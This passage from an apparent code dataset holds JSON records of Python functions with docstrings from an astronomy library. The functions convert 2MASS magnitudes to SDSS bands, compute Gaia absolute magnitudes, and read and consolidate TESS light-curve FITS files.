{"signature": "def jhk_to_sdssg(jmag,hmag,kmag):", "body": "return convert_constants(jmag,hmag,kmag,<EOL>SDSSG_JHK,<EOL>SDSSG_JH, SDSSG_JK, SDSSG_HK,<EOL>SDSSG_J, SDSSG_H, SDSSG_K)<EOL>", "docstring": "Converts given J, H, Ks mags to an SDSS g magnitude value.\n\n    Parameters\n    ----------\n\n    jmag,hmag,kmag : float\n        2MASS J, H, Ks mags of the object.\n\n    Returns\n    -------\n\n    float\n        The converted SDSS g band magnitude.", "id": "f14755:m6"}
{"signature": "def jhk_to_sdssr(jmag,hmag,kmag):", "body": "return convert_constants(jmag,hmag,kmag,<EOL>SDSSR_JHK,<EOL>SDSSR_JH, SDSSR_JK, SDSSR_HK,<EOL>SDSSR_J, SDSSR_H, SDSSR_K)<EOL>", "docstring": "Converts given J, H, Ks mags to an SDSS r magnitude value.\n\n    Parameters\n    ----------\n\n    jmag,hmag,kmag : float\n        2MASS J, H, Ks mags of the object.\n\n    Returns\n    -------\n\n    float\n        The converted SDSS r band magnitude.", "id": "f14755:m7"}
{"signature": "def jhk_to_sdssi(jmag,hmag,kmag):", "body": "return convert_constants(jmag,hmag,kmag,<EOL>SDSSI_JHK,<EOL>SDSSI_JH, SDSSI_JK, SDSSI_HK,<EOL>SDSSI_J, SDSSI_H, SDSSI_K)<EOL>", "docstring": "Converts given J, H, Ks mags to an SDSS i magnitude value.\n\n    Parameters\n    ----------\n\n    jmag,hmag,kmag : float\n        2MASS J, H, Ks mags of the object.\n\n    Returns\n    -------\n\n    float\n        The converted SDSS i band magnitude.", "id": "f14755:m8"}
{"signature": "def jhk_to_sdssz(jmag,hmag,kmag):", "body": "return convert_constants(jmag,hmag,kmag,<EOL>SDSSZ_JHK,<EOL>SDSSZ_JH, SDSSZ_JK, SDSSZ_HK,<EOL>SDSSZ_J, SDSSZ_H, SDSSZ_K)<EOL>", "docstring": "Converts given J, H, Ks mags to an SDSS z magnitude value.\n\n    Parameters\n    ----------\n\n    jmag,hmag,kmag : float\n        2MASS J, H, Ks mags of the object.\n\n    Returns\n    -------\n\n    float\n        The converted SDSS z band magnitude.", "id": "f14755:m9"}
{"signature": "def absolute_gaia_magnitude(gaia_mag,<EOL>gaia_parallax_mas,<EOL>gaia_mag_err=None,<EOL>gaia_parallax_err_mas=None):", "body": "<EOL>d_pc = np.abs(<NUM_LIT>/gaia_parallax_mas)<EOL>if gaia_parallax_err_mas is not None:<EOL><INDENT>d_pc_err = (<EOL>(<NUM_LIT>/(gaia_parallax_mas*gaia_parallax_mas)) *<EOL>gaia_parallax_err_mas<EOL>)<EOL><DEDENT>else:<EOL><INDENT>d_pc_err = None<EOL><DEDENT>M_G = <NUM_LIT:5> - <NUM_LIT>*np.log10(d_pc) + gaia_mag<EOL>if d_pc_err is not None and gaia_mag_err is not None:<EOL><INDENT>M_G_err = np.sqrt(<EOL>((<NUM_LIT>/(d_pc * np.log(<NUM_LIT>)))**<NUM_LIT:2> * (d_pc_err)**<NUM_LIT:2>) +<EOL>gaia_mag_err*gaia_mag_err<EOL>)<EOL><DEDENT>else:<EOL><INDENT>M_G_err = None<EOL><DEDENT>if M_G_err is not None:<EOL><INDENT>return M_G, M_G_err<EOL><DEDENT>else:<EOL><INDENT>return M_G<EOL><DEDENT>", "docstring": "Calculates the GAIA absolute magnitude for object (or array of objects).\n\n    Given a G mag and the parallax measured by GAIA, gets the absolute mag using\n    the usual equation::\n\n        G - M_G = 5 x log10(d_pc) - 5\n        M_G = 5 - 5log10(d_pc) + G\n\n    Parameters\n    ----------\n\n    gaia_mag : float or array-like\n        The measured GAIA G magnitude.\n\n    gaia_parallax_max : float or array-like\n        The measured parallax of the object in mas.\n\n    gaia_mag_err : float or array-like or None\n        The measurement error in GAIA G magnitude.\n\n    gaia_parallax_err_mas : float or array-like or None\n        The measurement error in GAIA parallax in mas.\n\n    Returns\n    -------\n\n    float or array-like\n        The absolute magnitude M_G of the object(s).\n\n    If both `_err` input kwargs are provided, will return a tuple of the form::\n\n        (M_G float or array-like, M_G_err float or array-like)", "id": "f14755:m10"}
{"signature": "def normalized_flux_to_mag(lcdict,<EOL>columns=('<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')):", "body": "tess_mag = lcdict['<STR_LIT>']['<STR_LIT>']<EOL>for key in columns:<EOL><INDENT>k1, k2 = key.split('<STR_LIT:.>')<EOL>if '<STR_LIT>' not in k2:<EOL><INDENT>lcdict[k1][k2.replace('<STR_LIT>','<STR_LIT>')] = (<EOL>tess_mag - <NUM_LIT>*np.log10(lcdict[k1][k2])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>lcdict[k1][k2.replace('<STR_LIT>','<STR_LIT>')] = (<EOL>- <NUM_LIT>*np.log10(<NUM_LIT:1.0> - lcdict[k1][k2])<EOL>)<EOL><DEDENT><DEDENT>return lcdict<EOL>", "docstring": "This converts the normalized fluxes in the TESS lcdicts to TESS mags.\n\n    Uses the object's TESS mag stored in lcdict['objectinfo']['tessmag']::\n\n        mag - object_tess_mag = -2.5 log (flux/median_flux)\n\n    Parameters\n    ----------\n\n    lcdict : lcdict\n        An `lcdict` produced by `read_tess_fitslc` or\n        `consolidate_tess_fitslc`. This must have normalized fluxes in its\n        measurement columns (use the `normalize` kwarg for these functions).\n\n    columns : sequence of str\n        The column keys of the normalized flux and background measurements in\n        the `lcdict` to operate on and convert to magnitudes in TESS band (T).\n\n    Returns\n    -------\n\n    lcdict\n        The returned `lcdict` will contain extra columns corresponding to\n        magnitudes for each input normalized flux/background column.", "id": "f14756:m0"}
{"signature": "def get_time_flux_errs_from_Ames_lightcurve(infile,<EOL>lctype,<EOL>cadence_min=<NUM_LIT:2>):", "body": "warnings.warn(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>FutureWarning<EOL>)<EOL>if lctype not in ('<STR_LIT>','<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>' % lctype)<EOL><DEDENT>hdulist = pyfits.open(infile)<EOL>main_hdr = hdulist[<NUM_LIT:0>].header<EOL>lc_hdr = hdulist[<NUM_LIT:1>].header<EOL>lc = hdulist[<NUM_LIT:1>].data<EOL>if (('<STR_LIT>' not in main_hdr['<STR_LIT>']) or<EOL>('<STR_LIT>' not in lc_hdr['<STR_LIT>'])):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>time = lc['<STR_LIT>']<EOL>flux = lc['<STR_LIT>'.format(lctype)]<EOL>err_flux = lc['<STR_LIT>'.format(lctype)]<EOL>sel = (lc['<STR_LIT>'] == <NUM_LIT:0>)<EOL>sel &= np.isfinite(time)<EOL>sel &= np.isfinite(flux)<EOL>sel &= np.isfinite(err_flux)<EOL>sel &= ~np.isnan(time)<EOL>sel &= ~np.isnan(flux)<EOL>sel &= ~np.isnan(err_flux)<EOL>sel &= (time != <NUM_LIT:0>)<EOL>sel &= (flux != <NUM_LIT:0>)<EOL>sel &= (err_flux != <NUM_LIT:0>)<EOL>time = time[sel]<EOL>flux = flux[sel]<EOL>err_flux = err_flux[sel]<EOL>lc_cadence_diff = np.abs(np.nanmedian(np.diff(time))*<NUM_LIT>*<NUM_LIT> - cadence_min)<EOL>if lc_cadence_diff > <NUM_LIT>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' %<EOL>cadence_min<EOL>)<EOL><DEDENT>fluxmedian = np.nanmedian(flux)<EOL>flux /= fluxmedian<EOL>err_flux /= fluxmedian<EOL>return time, flux, err_flux<EOL>", "docstring": "Reads TESS Ames-format FITS light curve files.\n\n    MIT TOI alerts include Ames lightcurve files. This function gets the finite,\n    nonzero times, fluxes, and errors with QUALITY == 0.\n\n    NOTE: the PDCSAP lightcurve typically still need \"pre-whitening\" after this\n    step.\n\n    .. deprecated:: 0.3.20\n        This function will be removed in astrobase v0.4.2. Use the\n        `read_tess_fitslc` and `consolidate_tess_fitslc` functions instead.\n\n    Parameters\n    ----------\n\n    infile : str\n        The path to `*.fits.gz` TOI alert file, from Ames pipeline.\n\n    lctype : {'PDCSAP','SAP'}\n        The type of light curve to extract from the FITS LC file.\n\n    cadence_min : int\n        The expected frame cadence in units of minutes. Raises ValueError if you\n        use the wrong cadence.\n\n    Returns\n    -------\n\n    tuple\n        The tuple returned is of the form:\n\n        (times, normalized (to median) fluxes, flux errors)", "id": "f14756:m1"}
{"signature": "def read_tess_fitslc(lcfits,<EOL>headerkeys=LCHEADERKEYS,<EOL>datakeys=LCDATAKEYS,<EOL>sapkeys=LCSAPKEYS,<EOL>pdckeys=LCPDCKEYS,<EOL>topkeys=LCTOPKEYS,<EOL>apkeys=LCAPERTUREKEYS,<EOL>normalize=False,<EOL>appendto=None,<EOL>filterqualityflags=False,<EOL>nanfilter=None,<EOL>timestoignore=None):", "body": "<EOL>hdulist = pyfits.open(lcfits)<EOL>lchdr, lcdata = hdulist[<NUM_LIT:1>].header, hdulist[<NUM_LIT:1>].data<EOL>lctophdr, lcaperturehdr, lcaperturedata = (hdulist[<NUM_LIT:0>].header,<EOL>hdulist[<NUM_LIT:2>].header,<EOL>hdulist[<NUM_LIT:2>].data)<EOL>hdulist.close()<EOL>hdrinfo = {}<EOL>for key in headerkeys:<EOL><INDENT>if key in lchdr and lchdr[key] is not None:<EOL><INDENT>hdrinfo[key.lower()] = lchdr[key]<EOL><DEDENT>else:<EOL><INDENT>hdrinfo[key.lower()] = None<EOL><DEDENT><DEDENT>ndet = lchdr['<STR_LIT>']<EOL>for key in topkeys:<EOL><INDENT>if key in lctophdr and lctophdr[key] is not None:<EOL><INDENT>hdrinfo[key.lower()] = lctophdr[key]<EOL><DEDENT>else:<EOL><INDENT>hdrinfo[key.lower()] = None<EOL><DEDENT><DEDENT>for key in lcaperturehdr:<EOL><INDENT>if key in lcaperturehdr and lcaperturehdr[key] is not None:<EOL><INDENT>hdrinfo[key.lower()] = lcaperturehdr[key]<EOL><DEDENT>else:<EOL><INDENT>hdrinfo[key.lower()] = None<EOL><DEDENT><DEDENT>if appendto and isinstance(appendto, dict):<EOL><INDENT>lcdict = appendto<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(<EOL>hdrinfo['<STR_LIT>'] + hdrinfo['<STR_LIT>']<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(lcaperturedata)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(<EOL>(np.abs(hdrinfo['<STR_LIT>']) +<EOL>np.abs(hdrinfo['<STR_LIT>']))*<NUM_LIT>/<NUM_LIT><EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(ndet)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(hdrinfo['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(<EOL>hdrinfo['<STR_LIT>']<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'].append(<EOL>hdrinfo['<STR_LIT>']<EOL>)<EOL>for key in datakeys:<EOL><INDENT>if key.lower() in lcdict:<EOL><INDENT>lcdict[key.lower()] = (<EOL>np.concatenate((lcdict[key.lower()], lcdata[key]))<EOL>)<EOL><DEDENT><DEDENT>for key in sapkeys:<EOL><INDENT>if key.lower() in lcdict['<STR_LIT>']:<EOL><INDENT>sapflux_median = np.nanmedian(lcdata['<STR_LIT>'])<EOL>if normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / sapflux_median<EOL><DEDENT>elif normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / sapflux_median<EOL><DEDENT>elif normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / sapflux_median<EOL><DEDENT>elif normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / sapflux_median<EOL><DEDENT>else:<EOL><INDENT>thislcdata = lcdata[key]<EOL><DEDENT>lcdict['<STR_LIT>'][key.lower()] = (<EOL>np.concatenate((lcdict['<STR_LIT>'][key.lower()], thislcdata))<EOL>)<EOL><DEDENT><DEDENT>for key in pdckeys:<EOL><INDENT>if key.lower() in lcdict['<STR_LIT>']:<EOL><INDENT>pdcsap_flux_median = np.nanmedian(lcdata['<STR_LIT>'])<EOL>if normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / pdcsap_flux_median<EOL><DEDENT>elif normalize and key == '<STR_LIT>':<EOL><INDENT>thislcdata = lcdata[key] / pdcsap_flux_median<EOL><DEDENT>else:<EOL><INDENT>thislcdata = lcdata[key]<EOL><DEDENT>lcdict['<STR_LIT>'][key.lower()] = (<EOL>np.concatenate((lcdict['<STR_LIT>'][key.lower()], thislcdata))<EOL>)<EOL><DEDENT><DEDENT>lcdict['<STR_LIT>'] = np.concatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>np.full_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>'],<EOL>dtype=np.float64))<EOL>)<EOL>lcdict['<STR_LIT>'] = np.concatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>np.full_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>'],<EOL>dtype=np.int64))<EOL>)<EOL>lcdict['<STR_LIT>'] = np.concatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>np.full_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>'],<EOL>dtype=np.int64))<EOL>)<EOL>lcdict['<STR_LIT>'] = np.concatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>np.full_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>'],<EOL>dtype=np.int64))<EOL>)<EOL>lcdict['<STR_LIT>'] = np.concatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>np.full_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>'],<EOL>dtype=np.int64))<EOL>)<EOL>lcdict['<STR_LIT>'] = np.concatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>np.full_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>'],<EOL>dtype='<STR_LIT>'))<EOL>)<EOL>lcdict['<STR_LIT>'] = np.concatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>np.full_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>'],<EOL>dtype='<STR_LIT>'))<EOL>)<EOL>lcdict['<STR_LIT>'] = np.concatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>np.full_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>'],<EOL>dtype='<STR_LIT>'))<EOL>)<EOL>lcdict['<STR_LIT>'] = np.concatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>np.full_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>'],<EOL>dtype='<STR_LIT>'))<EOL>)<EOL>lcdict['<STR_LIT>'] = np.concatenate(<EOL>(lcdict['<STR_LIT>'],<EOL>np.full_like(lcdata['<STR_LIT>'],<EOL>hdrinfo['<STR_LIT>'],<EOL>dtype=np.int64))<EOL>)<EOL><DEDENT>else:<EOL><INDENT>lcdict = {<EOL>'<STR_LIT>':hdrinfo['<STR_LIT:object>'],<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>'] + hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[lcaperturedata],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[(np.abs(hdrinfo['<STR_LIT>']) +<EOL>np.abs(hdrinfo['<STR_LIT>']))*<NUM_LIT>/<NUM_LIT>],<EOL>'<STR_LIT>':[ndet],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>},<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':hdrinfo['<STR_LIT:object>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':hdrinfo['<STR_LIT>'],<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>},<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>'<STR_LIT>':[hdrinfo['<STR_LIT>']],<EOL>},<EOL>'<STR_LIT>':{},<EOL>'<STR_LIT>':{},<EOL>}<EOL>for key in datakeys:<EOL><INDENT>lcdict[key.lower()] = lcdata[key]<EOL><DEDENT>for key in sapkeys:<EOL><INDENT>lcdict['<STR_LIT>'][key.lower()] = lcdata[key]<EOL><DEDENT>for key in pdckeys:<EOL><INDENT>lcdict['<STR_LIT>'][key.lower()] = lcdata[key]<EOL><DEDENT>lcdict['<STR_LIT>'] = np.full_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>],<EOL>dtype=np.float64)<EOL>lcdict['<STR_LIT>'] = np.full_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>],<EOL>dtype=np.int64)<EOL>lcdict['<STR_LIT>'] = np.full_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>],<EOL>dtype=np.int64)<EOL>lcdict['<STR_LIT>'] = np.full_like(lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>],<EOL>dtype=np.int64)<EOL>lcdict['<STR_LIT>'] = np.full_like(<EOL>lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>],<EOL>dtype=np.int64,<EOL>)<EOL>lcdict['<STR_LIT>'] = np.full_like(<EOL>lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>],<EOL>dtype='<STR_LIT>',<EOL>)<EOL>lcdict['<STR_LIT>'] = np.full_like(<EOL>lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>],<EOL>dtype='<STR_LIT>',<EOL>)<EOL>lcdict['<STR_LIT>'] = np.full_like(<EOL>lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>],<EOL>dtype='<STR_LIT>',<EOL>)<EOL>lcdict['<STR_LIT>'] = np.full_like(<EOL>lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>],<EOL>dtype='<STR_LIT>',<EOL>)<EOL>lcdict['<STR_LIT>'] = np.full_like(<EOL>lcdict['<STR_LIT:time>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>],<EOL>dtype=np.int64,<EOL>)<EOL>if normalize:<EOL><INDENT>sapflux_median = np.nanmedian(lcdict['<STR_LIT>']['<STR_LIT>'])<EOL>pdcsap_flux_median = np.nanmedian(lcdict['<STR_LIT>']['<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>sapflux_median<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>sapflux_median<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>sapflux_median<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>sapflux_median<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>pdcsap_flux_median<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = (<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] /<EOL>pdcsap_flux_median<EOL>)<EOL><DEDENT><DEDENT>lcdict['<STR_LIT>'] = (<EOL>[x.lower() for x in datakeys] +<EOL>['<STR_LIT>' % x.lower() for x in sapkeys] +<EOL>['<STR_LIT>' % x.lower() for x in pdckeys] +<EOL>['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>']<EOL>)<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = sum(lcdict['<STR_LIT>']['<STR_LIT>'])<EOL>if (filterqualityflags is not False or<EOL>nanfilter is not None or<EOL>timestoignore is not None):<EOL><INDENT>lcdict = filter_tess_lcdict(lcdict,<EOL>filterqualityflags,<EOL>nanfilter=nanfilter,<EOL>timestoignore=timestoignore)<EOL><DEDENT>return lcdict<EOL>", "docstring": "This extracts the light curve from a single TESS .lc.fits file.\n\n    This works on the light curves available at MAST.\n\n    TODO: look at:\n\n    https://archive.stsci.edu/missions/tess/doc/EXP-TESS-ARC-ICD-TM-0014.pdf\n\n    for details on the column descriptions and to fill in any other info we\n    need.\n\n    Parameters\n    ----------\n\n    lcfits : str\n        The filename of a MAST Kepler/K2 light curve FITS file.\n\n    headerkeys : list\n        A list of FITS header keys that will be extracted from the FITS light\n        curve file. These describe the observations. The default value for this\n        is given in `LCHEADERKEYS` above.\n\n    datakeys : list\n        A list of FITS column names that correspond to the auxiliary\n        measurements in the light curve. The default is `LCDATAKEYS` above.\n\n    sapkeys : list\n        A list of FITS column names that correspond to the SAP flux\n        measurements in the light curve. The default is `LCSAPKEYS` above.\n\n    pdckeys : list\n        A list of FITS column names that correspond to the PDC flux\n        measurements in the light curve. The default is `LCPDCKEYS` above.\n\n    topkeys : list\n        A list of FITS header keys that describe the object in the light\n        curve. The default is `LCTOPKEYS` above.\n\n    apkeys : list\n        A list of FITS header keys that describe the flux measurement apertures\n        used by the TESS pipeline. The default is `LCAPERTUREKEYS` above.\n\n    normalize : bool\n        If True, then the light curve's SAP_FLUX and PDCSAP_FLUX measurements\n        will be normalized to 1.0 by dividing out the median flux for the\n        component light curve.\n\n    appendto : lcdict or None\n        If appendto is an `lcdict`, will append measurements of this `lcdict` to\n        that `lcdict`. This is used for consolidating light curves for the same\n        object across different files (sectors/cameras/CCDs?). The appending\n        does not care about the time order. To consolidate light curves in time\n        order, use `consolidate_tess_fitslc` below.\n\n    filterqualityflags : bool\n        If True, will remove any measurements that have non-zero quality flags\n        present. This usually indicates an issue with the instrument or\n        spacecraft.\n\n    nanfilter : {'sap','pdc','sap,pdc'} or None\n        Indicates the flux measurement type(s) to apply the filtering to.\n\n    timestoignore : list of tuples or None\n        This is of the form::\n\n            [(time1_start, time1_end), (time2_start, time2_end), ...]\n\n        and indicates the start and end times to mask out of the final\n        lcdict. Use this to remove anything that wasn't caught by the quality\n        flags.\n\n    Returns\n    -------\n\n    lcdict\n        Returns an `lcdict` (this is useable by most astrobase functions for LC\n        processing).", "id": "f14756:m2"}
{"signature": "def consolidate_tess_fitslc(lclist,<EOL>normalize=True,<EOL>filterqualityflags=False,<EOL>nanfilter=None,<EOL>timestoignore=None,<EOL>headerkeys=LCHEADERKEYS,<EOL>datakeys=LCDATAKEYS,<EOL>sapkeys=LCSAPKEYS,<EOL>pdckeys=LCPDCKEYS,<EOL>topkeys=LCTOPKEYS,<EOL>apkeys=LCAPERTUREKEYS):", "body": "<EOL>if isinstance(lclist, str):<EOL><INDENT>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>matching = glob.glob(lclist,<EOL>recursive=True)<EOL>LOGINFO('<STR_LIT>' % (len(matching), matching))<EOL><DEDENT>else:<EOL><INDENT>lcfitsdir = os.path.dirname(lclist)<EOL>lcfitsfile = os.path.basename(lclist)<EOL>walker = os.walk(lcfitsdir)<EOL>matching = []<EOL>for root, dirs, _files in walker:<EOL><INDENT>for sdir in dirs:<EOL><INDENT>searchpath = os.path.join(root,<EOL>sdir,<EOL>lcfitsfile)<EOL>foundfiles = glob.glob(searchpath)<EOL>if foundfiles:<EOL><INDENT>matching.extend(foundfiles)<EOL>LOGINFO(<EOL>'<STR_LIT>' % (repr(foundfiles),<EOL>os.path.join(root,sdir))<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if len(matching) == <NUM_LIT:0>:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>lclist)<EOL>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>matching = lclist<EOL><DEDENT>consolidated = read_tess_fitslc(matching[<NUM_LIT:0>],<EOL>normalize=normalize,<EOL>headerkeys=LCHEADERKEYS,<EOL>datakeys=LCDATAKEYS,<EOL>sapkeys=LCSAPKEYS,<EOL>pdckeys=LCPDCKEYS,<EOL>topkeys=LCTOPKEYS,<EOL>apkeys=LCAPERTUREKEYS)<EOL>if len(matching) > <NUM_LIT:1>:<EOL><INDENT>for lcf in matching[<NUM_LIT:1>:]:<EOL><INDENT>consolidated = read_tess_fitslc(lcf,<EOL>appendto=consolidated,<EOL>normalize=normalize,<EOL>headerkeys=LCHEADERKEYS,<EOL>datakeys=LCDATAKEYS,<EOL>sapkeys=LCSAPKEYS,<EOL>pdckeys=LCPDCKEYS,<EOL>topkeys=LCTOPKEYS,<EOL>apkeys=LCAPERTUREKEYS)<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>')<EOL>finiteind = np.isfinite(consolidated['<STR_LIT:time>'])<EOL>if np.sum(finiteind) < 